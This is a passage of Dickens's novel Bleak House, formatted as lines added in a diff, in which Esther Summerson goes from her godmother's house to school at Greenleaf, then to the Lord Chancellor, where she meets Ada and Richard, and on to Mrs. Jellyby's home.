+well knew carved upon her face. Many and many a time, in the day and
+in the night, with my head upon the pillow by her that my whispers
+might be plainer to her, I kissed her, thanked her, prayed for her,
+asked her for her blessing and forgiveness, entreated her to give me
+the least sign that she knew or heard me. No, no, no. Her face was
+immovable. To the very last, and even afterwards, her frown remained
+unsoftened.
+
+On the day after my poor good godmother was buried, the gentleman in
+black with the white neckcloth reappeared. I was sent for by Mrs.
+Rachael, and found him in the same place, as if he had never gone
+away.
+
+"My name is Kenge," he said; "you may remember it, my child; Kenge
+and Carboy, Lincoln's Inn."
+
+I replied that I remembered to have seen him once before.
+
+"Pray be seated--here near me. Don't distress yourself; it's of no
+use. Mrs. Rachael, I needn't inform you who were acquainted with the
+late Miss Barbary's affairs, that her means die with her and that
+this young lady, now her aunt is dead--"
+
+"My aunt, sir!"
+
+"It is really of no use carrying on a deception when no object is to
+be gained by it," said Mr. Kenge smoothly, "Aunt in fact, though not
+in law. Don't distress yourself! Don't weep! Don't tremble! Mrs.
+Rachael, our young friend has no doubt heard of--the--a--Jarndyce and
+Jarndyce."
+
+"Never," said Mrs. Rachael.
+
+"Is it possible," pursued Mr. Kenge, putting up his eye-glasses,
+"that our young friend--I BEG you won't distress yourself!--never
+heard of Jarndyce and Jarndyce!"
+
+I shook my head, wondering even what it was.
+
+"Not of Jarndyce and Jarndyce?" said Mr. Kenge, looking over his
+glasses at me and softly turning the case about and about as if he
+were petting something. "Not of one of the greatest Chancery suits
+known? Not of Jarndyce and Jarndyce--the--a--in itself a monument of
+Chancery practice. In which (I would say) every difficulty, every
+contingency, every masterly fiction, every form of procedure known
+in that court, is represented over and over again? It is a cause
+that could not exist out of this free and great country. I should
+say that the aggregate of costs in Jarndyce and Jarndyce, Mrs.
+Rachael"--I was afraid he addressed himself to her because I appeared
+inattentive"--amounts at the present hour to from SIX-ty to SEVEN-ty
+THOUSAND POUNDS!" said Mr. Kenge, leaning back in his chair.
+
+I felt very ignorant, but what could I do? I was so entirely
+unacquainted with the subject that I understood nothing about it even
+then.
+
+"And she really never heard of the cause!" said Mr. Kenge.
+"Surprising!"
+
+"Miss Barbary, sir," returned Mrs. Rachael, "who is now among the
+Seraphim--"
+
+"I hope so, I am sure," said Mr. Kenge politely.
+
+"--Wished Esther only to know what would be serviceable to her. And
+she knows, from any teaching she has had here, nothing more."
+
+"Well!" said Mr. Kenge. "Upon the whole, very proper. Now to the
+point," addressing me. "Miss Barbary, your sole relation (in fact
+that is, for I am bound to observe that in law you had none) being
+deceased and it naturally not being to be expected that Mrs.
+Rachael--"
+
+"Oh, dear no!" said Mrs. Rachael quickly.
+
+"Quite so," assented Mr. Kenge; "--that Mrs. Rachael should charge
+herself with your maintenance and support (I beg you won't distress
+yourself), you are in a position to receive the renewal of an offer
+which I was instructed to make to Miss Barbary some two years ago and
+which, though rejected then, was understood to be renewable under the
+lamentable circumstances that have since occurred. Now, if I avow
+that I represent, in Jarndyce and Jarndyce and otherwise, a highly
+humane, but at the same time singular, man, shall I compromise myself
+by any stretch of my professional caution?" said Mr. Kenge, leaning
+back in his chair again and looking calmly at us both.
+
+He appeared to enjoy beyond everything the sound of his own voice. I
+couldn't wonder at that, for it was mellow and full and gave great
+importance to every word he uttered. He listened to himself with
+obvious satisfaction and sometimes gently beat time to his own music
+with his head or rounded a sentence with his hand. I was very much
+impressed by him--even then, before I knew that he formed himself on
+the model of a great lord who was his client and that he was
+generally called Conversation Kenge.
+
+"Mr. Jarndyce," he pursued, "being aware of the--I would say,
+desolate--position of our young friend, offers to place her at a
+first-rate establishment where her education shall be completed,
+where her comfort shall be secured, where her reasonable wants shall
+be anticipated, where she shall be eminently qualified to discharge
+her duty in that station of life unto which it has pleased--shall I
+say Providence?--to call her."
+
+My heart was filled so full, both by what he said and by his
+affecting manner of saying it, that I was not able to speak, though I
+tried.
+
+"Mr. Jarndyce," he went on, "makes no condition beyond expressing his
+expectation that our young friend will not at any time remove herself
+from the establishment in question without his knowledge and
+concurrence. That she will faithfully apply herself to the
+acquisition of those accomplishments, upon the exercise of which she
+will be ultimately dependent. That she will tread in the paths of
+virtue and honour, and--the--a--so forth."
+
+I was still less able to speak than before.
+
+"Now, what does our young friend say?" proceeded Mr. Kenge. "Take
+time, take time! I pause for her reply. But take time!"
+
+What the destitute subject of such an offer tried to say, I need not
+repeat. What she did say, I could more easily tell, if it were worth
+the telling. What she felt, and will feel to her dying hour, I could
+never relate.
+
+This interview took place at Windsor, where I had passed (as far as I
+knew) my whole life. On that day week, amply provided with all
+necessaries, I left it, inside the stagecoach, for Reading.
+
+Mrs. Rachael was too good to feel any emotion at parting, but I was
+not so good, and wept bitterly. I thought that I ought to have known
+her better after so many years and ought to have made myself enough
+of a favourite with her to make her sorry then. When she gave me one
+cold parting kiss upon my forehead, like a thaw-drop from the stone
+porch--it was a very frosty day--I felt so miserable and
+self-reproachful that I clung to her and told her it was my fault, I
+knew, that she could say good-bye so easily!
+
+"No, Esther!" she returned. "It is your misfortune!"
+
+The coach was at the little lawn-gate--we had not come out until we
+heard the wheels--and thus I left her, with a sorrowful heart. She
+went in before my boxes were lifted to the coach-roof and shut the
+door. As long as I could see the house, I looked back at it from the
+window through my tears. My godmother had left Mrs. Rachael all the
+little property she possessed; and there was to be a sale; and an old
+hearth-rug with roses on it, which always seemed to me the first
+thing in the world I had ever seen, was hanging outside in the frost
+and snow. A day or two before, I had wrapped the dear old doll in her
+own shawl and quietly laid her--I am half ashamed to tell it--in the
+garden-earth under the tree that shaded my old window. I had no
+companion left but my bird, and him I carried with me in his cage.
+
+When the house was out of sight, I sat, with my bird-cage in the
+straw at my feet, forward on the low seat to look out of the high
+window, watching the frosty trees, that were like beautiful pieces of
+spar, and the fields all smooth and white with last night's snow, and
+the sun, so red but yielding so little heat, and the ice, dark like
+metal where the skaters and sliders had brushed the snow away. There
+was a gentleman in the coach who sat on the opposite seat and looked
+very large in a quantity of wrappings, but he sat gazing out of the
+other window and took no notice of me.
+
+I thought of my dead godmother, of the night when I read to her, of
+her frowning so fixedly and sternly in her bed, of the strange place
+I was going to, of the people I should find there, and what they
+would be like, and what they would say to me, when a voice in the
+coach gave me a terrible start.
+
+It said, "What the de-vil are you crying for?"
+
+I was so frightened that I lost my voice and could only answer in a
+whisper, "Me, sir?" For of course I knew it must have been the
+gentleman in the quantity of wrappings, though he was still looking
+out of his window.
+
+"Yes, you," he said, turning round.
+
+"I didn't know I was crying, sir," I faltered.
+
+"But you are!" said the gentleman. "Look here!" He came quite
+opposite to me from the other corner of the coach, brushed one of his
+large furry cuffs across my eyes (but without hurting me), and showed
+me that it was wet.
+
+"There! Now you know you are," he said. "Don't you?"
+
+"Yes, sir," I said.
+
+"And what are you crying for?" said the gentleman, "Don't you want to
+go there?"
+
+"Where, sir?"
+
+"Where? Why, wherever you are going," said the gentleman.
+
+"I am very glad to go there, sir," I answered.
+
+"Well, then! Look glad!" said the gentleman.
+
+I thought he was very strange, or at least that what I could see of
+him was very strange, for he was wrapped up to the chin, and his face
+was almost hidden in a fur cap with broad fur straps at the side of
+his head fastened under his chin; but I was composed again, and not
+afraid of him. So I told him that I thought I must have been crying
+because of my godmother's death and because of Mrs. Rachael's not
+being sorry to part with me.
+
+"Confound Mrs. Rachael!" said the gentleman. "Let her fly away in a
+high wind on a broomstick!"
+
+I began to be really afraid of him now and looked at him with the
+greatest astonishment. But I thought that he had pleasant eyes,
+although he kept on muttering to himself in an angry manner and
+calling Mrs. Rachael names.
+
+After a little while he opened his outer wrapper, which appeared to
+me large enough to wrap up the whole coach, and put his arm down into
+a deep pocket in the side.
+
+"Now, look here!" he said. "In this paper," which was nicely folded,
+"is a piece of the best plum-cake that can be got for money--sugar on
+the outside an inch thick, like fat on mutton chops. Here's a little
+pie (a gem this is, both for size and quality), made in France. And
+what do you suppose it's made of? Livers of fat geese. There's a pie!
+Now let's see you eat 'em."
+
+"Thank you, sir," I replied; "thank you very much indeed, but I hope
+you won't be offended--they are too rich for me."
+
+"Floored again!" said the gentleman, which I didn't at all
+understand, and threw them both out of window.
+
+He did not speak to me any more until he got out of the coach a
+little way short of Reading, when he advised me to be a good girl and
+to be studious, and shook hands with me. I must say I was relieved by
+his departure. We left him at a milestone. I often walked past it
+afterwards, and never for a long time without thinking of him and
+half expecting to meet him. But I never did; and so, as time went on,
+he passed out of my mind.
+
+When the coach stopped, a very neat lady looked up at the window and
+said, "Miss Donny."
+
+"No, ma'am, Esther Summerson."
+
+"That is quite right," said the lady, "Miss Donny."
+
+I now understood that she introduced herself by that name, and begged
+Miss Donny's pardon for my mistake, and pointed out my boxes at her
+request. Under the direction of a very neat maid, they were put
+outside a very small green carriage; and then Miss Donny, the maid,
+and I got inside and were driven away.
+
+"Everything is ready for you, Esther," said Miss Donny, "and the
+scheme of your pursuits has been arranged in exact accordance with
+the wishes of your guardian, Mr. Jarndyce."
+
+"Of--did you say, ma'am?"
+
+"Of your guardian, Mr. Jarndyce," said Miss Donny.
+
+I was so bewildered that Miss Donny thought the cold had been too
+severe for me and lent me her smelling-bottle.
+
+"Do you know my--guardian, Mr. Jarndyce, ma'am?" I asked after a good
+deal of hesitation.
+
+"Not personally, Esther," said Miss Donny; "merely through his
+solicitors, Messrs. Kenge and Carboy, of London. A very superior
+gentleman, Mr. Kenge. Truly eloquent indeed. Some of his periods
+quite majestic!"
+
+I felt this to be very true but was too confused to attend to it. Our
+speedy arrival at our destination, before I had time to recover
+myself, increased my confusion, and I never shall forget the
+uncertain and the unreal air of everything at Greenleaf (Miss Donny's
+house) that afternoon!
+
+But I soon became used to it. I was so adapted to the routine of
+Greenleaf before long that I seemed to have been there a great while
+and almost to have dreamed rather than really lived my old life at my
+godmother's. Nothing could be more precise, exact, and orderly than
+Greenleaf. There was a time for everything all round the dial of the
+clock, and everything was done at its appointed moment.
+
+We were twelve boarders, and there were two Miss Donnys, twins. It
+was understood that I would have to depend, by and by, on my
+qualifications as a governess, and I was not only instructed in
+everything that was taught at Greenleaf, but was very soon engaged in
+helping to instruct others. Although I was treated in every other
+respect like the rest of the school, this single difference was made
+in my case from the first. As I began to know more, I taught more,
+and so in course of time I had plenty to do, which I was very fond of
+doing because it made the dear girls fond of me. At last, whenever a
+new pupil came who was a little downcast and unhappy, she was so
+sure--indeed I don't know why--to make a friend of me that all
+new-comers were confided to my care. They said I was so gentle, but I
+am sure THEY were! I often thought of the resolution I had made on my
+birthday to try to be industrious, contented, and true-hearted and to
+do some good to some one and win some love if I could; and indeed,
+indeed, I felt almost ashamed to have done so little and have won so
+much.
+
+I passed at Greenleaf six happy, quiet years. I never saw in any face
+there, thank heaven, on my birthday, that it would have been better
+if I had never been born. When the day came round, it brought me so
+many tokens of affectionate remembrance that my room was beautiful
+with them from New Year's Day to Christmas.
+
+In those six years I had never been away except on visits at holiday
+time in the neighbourhood. After the first six months or so I had
+taken Miss Donny's advice in reference to the propriety of writing to
+Mr. Kenge to say that I was happy and grateful, and with her approval
+I had written such a letter. I had received a formal answer
+acknowledging its receipt and saying, "We note the contents thereof,
+which shall be duly communicated to our client." After that I
+sometimes heard Miss Donny and her sister mention how regular my
+accounts were paid, and about twice a year I ventured to write a
+similar letter. I always received by return of post exactly the same
+answer in the same round hand, with the signature of Kenge and Carboy
+in another writing, which I supposed to be Mr. Kenge's.
+
+It seems so curious to me to be obliged to write all this about
+myself! As if this narrative were the narrative of MY life! But my
+little body will soon fall into the background now.
+
+Six quiet years (I find I am saying it for the second time) I had
+passed at Greenleaf, seeing in those around me, as it might be in a
+looking-glass, every stage of my own growth and change there, when,
+one November morning, I received this letter. I omit the date.
+
+
+   Old Square, Lincoln's Inn
+
+   Madam,
+
+   Jarndyce and Jarndyce
+
+   Our clt Mr. Jarndyce being abt to rece into his house,
+   under an Order of the Ct of Chy, a Ward of the Ct in this
+   cause, for whom he wishes to secure an elgble compn,
+   directs us to inform you that he will be glad of your
+   serces in the afsd capacity.
+
+   We have arrngd for your being forded, carriage free, pr
+   eight o'clock coach from Reading, on Monday morning next,
+   to White Horse Cellar, Piccadilly, London, where one of
+   our clks will be in waiting to convey you to our offe as
+   above.
+
+   We are, Madam, Your obedt Servts,
+
+   Kenge and Carboy
+
+   Miss Esther Summerson
+
+
+Oh, never, never, never shall I forget the emotion this letter caused
+in the house! It was so tender in them to care so much for me, it was
+so gracious in that father who had not forgotten me to have made my
+orphan way so smooth and easy and to have inclined so many youthful
+natures towards me, that I could hardly bear it. Not that I would
+have had them less sorry--I am afraid not; but the pleasure of it,
+and the pain of it, and the pride and joy of it, and the humble
+regret of it were so blended that my heart seemed almost breaking
+while it was full of rapture.
+
+The letter gave me only five days' notice of my removal. When every
+minute added to the proofs of love and kindness that were given me in
+those five days, and when at last the morning came and when they took
+me through all the rooms that I might see them for the last time, and
+when some cried, "Esther, dear, say good-bye to me here at my
+bedside, where you first spoke so kindly to me!" and when others
+asked me only to write their names, "With Esther's love," and when
+they all surrounded me with their parting presents and clung to me
+weeping and cried, "What shall we do when dear, dear Esther's gone!"
+and when I tried to tell them how forbearing and how good they had
+all been to me and how I blessed and thanked them every one, what a
+heart I had!
+
+And when the two Miss Donnys grieved as much to part with me as the
+least among them, and when the maids said, "Bless you, miss, wherever
+you go!" and when the ugly lame old gardener, who I thought had
+hardly noticed me in all those years, came panting after the coach to
+give me a little nosegay of geraniums and told me I had been the
+light of his eyes--indeed the old man said so!--what a heart I had
+then!
+
+And could I help it if with all this, and the coming to the little
+school, and the unexpected sight of the poor children outside waving
+their hats and bonnets to me, and of a grey-haired gentleman and lady
+whose daughter I had helped to teach and at whose house I had visited
+(who were said to be the proudest people in all that country), caring
+for nothing but calling out, "Good-bye, Esther. May you be very
+happy!"--could I help it if I was quite bowed down in the coach by
+myself and said "Oh, I am so thankful, I am so thankful!" many times
+over!
+
+But of course I soon considered that I must not take tears where I
+was going after all that had been done for me. Therefore, of course,
+I made myself sob less and persuaded myself to be quiet by saying
+very often, "Esther, now you really must! This WILL NOT do!" I
+cheered myself up pretty well at last, though I am afraid I was
+longer about it than I ought to have been; and when I had cooled my
+eyes with lavender water, it was time to watch for London.
+
+I was quite persuaded that we were there when we were ten miles off,
+and when we really were there, that we should never get there.
+However, when we began to jolt upon a stone pavement, and
+particularly when every other conveyance seemed to be running into
+us, and we seemed to be running into every other conveyance, I began
+to believe that we really were approaching the end of our journey.
+Very soon afterwards we stopped.
+
+A young gentleman who had inked himself by accident addressed me from
+the pavement and said, "I am from Kenge and Carboy's, miss, of
+Lincoln's Inn."
+
+"If you please, sir," said I.
+
+He was very obliging, and as he handed me into a fly after
+superintending the removal of my boxes, I asked him whether there was
+a great fire anywhere? For the streets were so full of dense brown
+smoke that scarcely anything was to be seen.
+
+"Oh, dear no, miss," he said. "This is a London particular."
+
+I had never heard of such a thing.
+
+"A fog, miss," said the young gentleman.
+
+"Oh, indeed!" said I.
+
+We drove slowly through the dirtiest and darkest streets that ever
+were seen in the world (I thought) and in such a distracting state of
+confusion that I wondered how the people kept their senses, until we
+passed into sudden quietude under an old gateway and drove on through
+a silent square until we came to an odd nook in a corner, where there
+was an entrance up a steep, broad flight of stairs, like an entrance
+to a church. And there really was a churchyard outside under some
+cloisters, for I saw the gravestones from the staircase window.
+
+This was Kenge and Carboy's. The young gentleman showed me through an
+outer office into Mr. Kenge's room--there was no one in it--and
+politely put an arm-chair for me by the fire. He then called my
+attention to a little looking-glass hanging from a nail on one side
+of the chimney-piece.
+
+"In case you should wish to look at yourself, miss, after the
+journey, as you're going before the Chancellor. Not that it's
+requisite, I am sure," said the young gentleman civilly.
+
+"Going before the Chancellor?" I said, startled for a moment.
+
+"Only a matter of form, miss," returned the young gentleman. "Mr.
+Kenge is in court now. He left his compliments, and would you partake
+of some refreshment"--there were biscuits and a decanter of wine on a
+small table--"and look over the paper," which the young gentleman
+gave me as he spoke. He then stirred the fire and left me.
+
+Everything was so strange--the stranger from its being night in the
+day-time, the candles burning with a white flame, and looking raw and
+cold--that I read the words in the newspaper without knowing what
+they meant and found myself reading the same words repeatedly. As it
+was of no use going on in that way, I put the paper down, took a peep
+at my bonnet in the glass to see if it was neat, and looked at the
+room, which was not half lighted, and at the shabby, dusty tables,
+and at the piles of writings, and at a bookcase full of the most
+inexpressive-looking books that ever had anything to say for
+themselves. Then I went on, thinking, thinking, thinking; and the
+fire went on, burning, burning, burning; and the candles went on
+flickering and guttering, and there were no snuffers--until the young
+gentleman by and by brought a very dirty pair--for two hours.
+
+At last Mr. Kenge came. HE was not altered, but he was surprised to
+see how altered I was and appeared quite pleased. "As you are going
+to be the companion of the young lady who is now in the Chancellor's
+private room, Miss Summerson," he said, "we thought it well that you
+should be in attendance also. You will not be discomposed by the Lord
+Chancellor, I dare say?"
+
+"No, sir," I said, "I don't think I shall," really not seeing on
+consideration why I should be.
+
+So Mr. Kenge gave me his arm and we went round the corner, under a
+colonnade, and in at a side door. And so we came, along a passage,
+into a comfortable sort of room where a young lady and a young
+gentleman were standing near a great, loud-roaring fire. A screen was
+interposed between them and it, and they were leaning on the screen,
+talking.
+
+They both looked up when I came in, and I saw in the young lady, with
+the fire shining upon her, such a beautiful girl! With such rich
+golden hair, such soft blue eyes, and such a bright, innocent,
+trusting face!
+
+"Miss Ada," said Mr. Kenge, "this is Miss Summerson."
+
+She came to meet me with a smile of welcome and her hand extended,
+but seemed to change her mind in a moment and kissed me. In short,
+she had such a natural, captivating, winning manner that in a few
+minutes we were sitting in the window-seat, with the light of the
+fire upon us, talking together as free and happy as could be.
+
+What a load off my mind! It was so delightful to know that she could
+confide in me and like me! It was so good of her, and so encouraging
+to me!
+
+The young gentleman was her distant cousin, she told me, and his name
+Richard Carstone. He was a handsome youth with an ingenuous face and
+a most engaging laugh; and after she had called him up to where we
+sat, he stood by us, in the light of the fire, talking gaily, like a
+light-hearted boy. He was very young, not more than nineteen then, if
+quite so much, but nearly two years older than she was. They were
+both orphans and (what was very unexpected and curious to me) had
+never met before that day. Our all three coming together for the
+first time in such an unusual place was a thing to talk about, and we
+talked about it; and the fire, which had left off roaring, winked its
+red eyes at us--as Richard said--like a drowsy old Chancery lion.
+
+We conversed in a low tone because a full-dressed gentleman in a bag
+wig frequently came in and out, and when he did so, we could hear a
+drawling sound in the distance, which he said was one of the counsel
+in our case addressing the Lord Chancellor. He told Mr. Kenge that
+the Chancellor would be up in five minutes; and presently we heard a
+bustle and a tread of feet, and Mr. Kenge said that the Court had
+risen and his lordship was in the next room.
+
+The gentleman in the bag wig opened the door almost directly and
+requested Mr. Kenge to come in. Upon that, we all went into the next
+room, Mr. Kenge first, with my darling--it is so natural to me now
+that I can't help writing it; and there, plainly dressed in black and
+sitting in an arm-chair at a table near the fire, was his lordship,
+whose robe, trimmed with beautiful gold lace, was thrown upon another
+chair. He gave us a searching look as we entered, but his manner was
+both courtly and kind.
+
+The gentleman in the bag wig laid bundles of papers on his lordship's
+table, and his lordship silently selected one and turned over the
+leaves.
+
+"Miss Clare," said the Lord Chancellor. "Miss Ada Clare?"
+
+Mr. Kenge presented her, and his lordship begged her to sit down near
+him. That he admired her and was interested by her even I could see
+in a moment. It touched me that the home of such a beautiful young
+creature should be represented by that dry, official place. The Lord
+High Chancellor, at his best, appeared so poor a substitute for the
+love and pride of parents.
+
+"The Jarndyce in question," said the Lord Chancellor, still turning
+over leaves, "is Jarndyce of Bleak House."
+
+"Jarndyce of Bleak House, my lord," said Mr. Kenge.
+
+"A dreary name," said the Lord Chancellor.
+
+"But not a dreary place at present, my lord," said Mr. Kenge.
+
+"And Bleak House," said his lordship, "is in--"
+
+"Hertfordshire, my lord."
+
+"Mr. Jarndyce of Bleak House is not married?" said his lordship.
+
+"He is not, my lord," said Mr. Kenge.
+
+A pause.
+
+"Young Mr. Richard Carstone is present?" said the Lord Chancellor,
+glancing towards him.
+
+Richard bowed and stepped forward.
+
+"Hum!" said the Lord Chancellor, turning over more leaves.
+
+"Mr. Jarndyce of Bleak House, my lord," Mr. Kenge observed in a low
+voice, "if I may venture to remind your lordship, provides a suitable
+companion for--"
+
+"For Mr. Richard Carstone?" I thought (but I am not quite sure) I
+heard his lordship say in an equally low voice and with a smile.
+
+"For Miss Ada Clare. This is the young lady. Miss Summerson."
+
+His lordship gave me an indulgent look and acknowledged my curtsy
+very graciously.
+
+"Miss Summerson is not related to any party in the cause, I think?"
+
+"No, my lord."
+
+Mr. Kenge leant over before it was quite said and whispered. His
+lordship, with his eyes upon his papers, listened, nodded twice or
+thrice, turned over more leaves, and did not look towards me again
+until we were going away.
+
+Mr. Kenge now retired, and Richard with him, to where I was, near the
+door, leaving my pet (it is so natural to me that again I can't help
+it!) sitting near the Lord Chancellor, with whom his lordship spoke a
+little part, asking her, as she told me afterwards, whether she had
+well reflected on the proposed arrangement, and if she thought she
+would be happy under the roof of Mr. Jarndyce of Bleak House, and why
+she thought so? Presently he rose courteously and released her, and
+then he spoke for a minute or two with Richard Carstone, not seated,
+but standing, and altogether with more ease and less ceremony, as if
+he still knew, though he WAS Lord Chancellor, how to go straight to
+the candour of a boy.
+
+"Very well!" said his lordship aloud. "I shall make the order. Mr.
+Jarndyce of Bleak House has chosen, so far as I may judge," and this
+was when he looked at me, "a very good companion for the young lady,
+and the arrangement altogether seems the best of which the
+circumstances admit."
+
+He dismissed us pleasantly, and we all went out, very much obliged to
+him for being so affable and polite, by which he had certainly lost
+no dignity but seemed to us to have gained some.
+
+When we got under the colonnade, Mr. Kenge remembered that he must go
+back for a moment to ask a question and left us in the fog, with the
+Lord Chancellor's carriage and servants waiting for him to come out.
+
+"Well!" said Richard Carstone. "THAT'S over! And where do we go next,
+Miss Summerson?"
+
+"Don't you know?" I said.
+
+"Not in the least," said he.
+
+"And don't YOU know, my love?" I asked Ada.
+
+"No!" said she. "Don't you?"
+
+"Not at all!" said I.
+
+We looked at one another, half laughing at our being like the
+children in the wood, when a curious little old woman in a squeezed
+bonnet and carrying a reticule came curtsying and smiling up to us
+with an air of great ceremony.
+
+"Oh!" said she. "The wards in Jarndyce! Ve-ry happy, I am sure, to
+have the honour! It is a good omen for youth, and hope, and beauty
+when they find themselves in this place, and don't know what's to
+come of it."
+
+"Mad!" whispered Richard, not thinking she could hear him.
+
+"Right! Mad, young gentleman," she returned so quickly that he was
+quite abashed. "I was a ward myself. I was not mad at that time,"
+curtsying low and smiling between every little sentence. "I had youth
+and hope. I believe, beauty. It matters very little now. Neither of
+the three served or saved me. I have the honour to attend court
+regularly. With my documents. I expect a judgment. Shortly. On the
+Day of Judgment. I have discovered that the sixth seal mentioned in
+the Revelations is the Great Seal. It has been open a long time! Pray
+accept my blessing."
+
+As Ada was a little frightened, I said, to humour the poor old lady,
+that we were much obliged to her.
+
+"Ye-es!" she said mincingly. "I imagine so. And here is Conversation
+Kenge. With HIS documents! How does your honourable worship do?"
+
+"Quite well, quite well! Now don't be troublesome, that's a good
+soul!" said Mr. Kenge, leading the way back.
+
+"By no means," said the poor old lady, keeping up with Ada and me.
+"Anything but troublesome. I shall confer estates on both--which is
+not being troublesome, I trust? I expect a judgment. Shortly. On the
+Day of Judgment. This is a good omen for you. Accept my blessing!"
+
+She stopped at the bottom of the steep, broad flight of stairs; but
+we looked back as we went up, and she was still there, saying, still
+with a curtsy and a smile between every little sentence, "Youth. And
+hope. And beauty. And Chancery. And Conversation Kenge! Ha! Pray
+accept my blessing!"
+
+
+
+
+CHAPTER IV
+
+Telescopic Philanthropy
+
+
+We were to pass the night, Mr. Kenge told us when we arrived in his
+room, at Mrs. Jellyby's; and then he turned to me and said he took it
+for granted I knew who Mrs. Jellyby was.
+
+"I really don't, sir," I returned. "Perhaps Mr. Carstone--or Miss
+Clare--"
+
+But no, they knew nothing whatever about Mrs. Jellyby. "In-deed! Mrs.
+Jellyby," said Mr. Kenge, standing with his back to the fire and
+casting his eyes over the dusty hearth-rug as if it were Mrs.
+Jellyby's biography, "is a lady of very remarkable strength of
+character who devotes herself entirely to the public. She has devoted
+herself to an extensive variety of public subjects at various times
+and is at present (until something else attracts her) devoted to the
+subject of Africa, with a view to the general cultivation of the
+coffee berry--AND the natives--and the happy settlement, on the banks
+of the African rivers, of our superabundant home population. Mr.
+Jarndyce, who is desirous to aid any work that is considered likely
+to be a good work and who is much sought after by philanthropists,
+has, I believe, a very high opinion of Mrs. Jellyby."
+
+Mr. Kenge, adjusting his cravat, then looked at us.
+
+"And Mr. Jellyby, sir?" suggested Richard.
+
+"Ah! Mr. Jellyby," said Mr. Kenge, "is--a--I don't know that I can
+describe him to you better than by saying that he is the husband of
+Mrs. Jellyby."
+
+"A nonentity, sir?" said Richard with a droll look.
+
+"I don't say that," returned Mr. Kenge gravely. "I can't say that,
+indeed, for I know nothing whatever OF Mr. Jellyby. I never, to my
+knowledge, had the pleasure of seeing Mr. Jellyby. He may be a very
+superior man, but he is, so to speak, merged--merged--in the more
+shining qualities of his wife." Mr. Kenge proceeded to tell us that
+as the road to Bleak House would have been very long, dark, and
+tedious on such an evening, and as we had been travelling already,
+Mr. Jarndyce had himself proposed this arrangement. A carriage would
+be at Mrs. Jellyby's to convey us out of town early in the forenoon
+of to-morrow.
+
+He then rang a little bell, and the young gentleman came in.
+Addressing him by the name of Guppy, Mr. Kenge inquired whether Miss
+Summerson's boxes and the rest of the baggage had been "sent round."
+Mr. Guppy said yes, they had been sent round, and a coach was waiting
+to take us round too as soon as we pleased.
+
+"Then it only remains," said Mr. Kenge, shaking hands with us, "for
+me to express my lively satisfaction in (good day, Miss Clare!) the
+arrangement this day concluded and my (GOOD-bye to you, Miss
+Summerson!) lively hope that it will conduce to the happiness, the
+(glad to have had the honour of making your acquaintance, Mr.
+Carstone!) welfare, the advantage in all points of view, of all
+concerned! Guppy, see the party safely there."
+
+"Where IS 'there,' Mr. Guppy?" said Richard as we went downstairs.
+
+"No distance," said Mr. Guppy; "round in Thavies Inn, you know."
+
+"I can't say I know where it is, for I come from Winchester and am
+strange in London."
+
+"Only round the corner," said Mr. Guppy. "We just twist up Chancery
+Lane, and cut along Holborn, and there we are in four minutes' time,
+as near as a toucher. This is about a London particular NOW, ain't
+it, miss?" He seemed quite delighted with it on my account.
+
+"The fog is very dense indeed!" said I.
+
+"Not that it affects you, though, I'm sure," said Mr. Guppy, putting
+up the steps. "On the contrary, it seems to do you good, miss,
+judging from your appearance."
+
+I knew he meant well in paying me this compliment, so I laughed at
+myself for blushing at it when he had shut the door and got upon the
+box; and we all three laughed and chatted about our inexperience and
+the strangeness of London until we turned up under an archway to our
+destination--a narrow street of high houses like an oblong cistern to
+hold the fog. There was a confused little crowd of people,
+principally children, gathered about the house at which we stopped,
+which had a tarnished brass plate on the door with the inscription
+JELLYBY.
+
+"Don't be frightened!" said Mr. Guppy, looking in at the
+coach-window. "One of the young Jellybys been and got his head
+through the area railings!"
+
+"Oh, poor child," said I; "let me out, if you please!"
+
+"Pray be careful of yourself, miss. The young Jellybys are always up
+to something," said Mr. Guppy.
+
+I made my way to the poor child, who was one of the dirtiest little
+unfortunates I ever saw, and found him very hot and frightened and
+crying loudly, fixed by the neck between two iron railings, while a
+milkman and a beadle, with the kindest intentions possible, were
+endeavouring to drag him back by the legs, under a general impression
+that his skull was compressible by those means. As I found (after
+pacifying him) that he was a little boy with a naturally large head,
+I thought that perhaps where his head could go, his body could
+follow, and mentioned that the best mode of extrication might be to
+push him forward. This was so favourably received by the milkman and
+beadle that he would immediately have been pushed into the area if I
+had not held his pinafore while Richard and Mr. Guppy ran down
+through the kitchen to catch him when he should be released. At last
+he was happily got down without any accident, and then he began to
+beat Mr. Guppy with a hoop-stick in quite a frantic manner.
+
+Nobody had appeared belonging to the house except a person in
+pattens, who had been poking at the child from below with a broom; I
+don't know with what object, and I don't think she did. I therefore
+supposed that Mrs. Jellyby was not at home, and was quite surprised
+when the person appeared in the passage without the pattens, and
+going up to the back room on the first floor before Ada and me,
+announced us as, "Them two young ladies, Missis Jellyby!" We passed
+several more children on the way up, whom it was difficult to avoid
+treading on in the dark; and as we came into Mrs. Jellyby's presence,
+one of the poor little things fell downstairs--down a whole flight
+(as it sounded to me), with a great noise.
+
+Mrs. Jellyby, whose face reflected none of the uneasiness which we
+could not help showing in our own faces as the dear child's head
+recorded its passage with a bump on every stair--Richard afterwards
+said he counted seven, besides one for the landing--received us with
+perfect equanimity. She was a pretty, very diminutive, plump woman of
+from forty to fifty, with handsome eyes, though they had a curious
+habit of seeming to look a long way off. As if--I am quoting Richard
+again--they could see nothing nearer than Africa!
+
+"I am very glad indeed," said Mrs. Jellyby in an agreeable voice, "to
+have the pleasure of receiving you. I have a great respect for Mr.
+Jarndyce, and no one in whom he is interested can be an object of
+indifference to me."
+
+We expressed our acknowledgments and sat down behind the door, where
+there was a lame invalid of a sofa. Mrs. Jellyby had very good hair
+but was too much occupied with her African duties to brush it. The
+shawl in which she had been loosely muffled dropped onto her chair
+when she advanced to us; and as she turned to resume her seat, we
+could not help noticing that her dress didn't nearly meet up the back
+and that the open space was railed across with a lattice-work of
+stay-lace--like a summer-house.
+
+The room, which was strewn with papers and nearly filled by a great
+writing-table covered with similar litter, was, I must say, not only
+very untidy but very dirty. We were obliged to take notice of that
+with our sense of sight, even while, with our sense of hearing, we
+followed the poor child who had tumbled downstairs: I think into the
+back kitchen, where somebody seemed to stifle him.
+
+But what principally struck us was a jaded and unhealthy-looking
+though by no means plain girl at the writing-table, who sat biting
+the feather of her pen and staring at us. I suppose nobody ever was
+in such a state of ink. And from her tumbled hair to her pretty feet,
+which were disfigured with frayed and broken satin slippers trodden
+down at heel, she really seemed to have no article of dress upon her,
+from a pin upwards, that was in its proper condition or its right
+place.
+
+"You find me, my dears," said Mrs. Jellyby, snuffing the two great
+office candles in tin candlesticks, which made the room taste
+strongly of hot tallow (the fire had gone out, and there was nothing
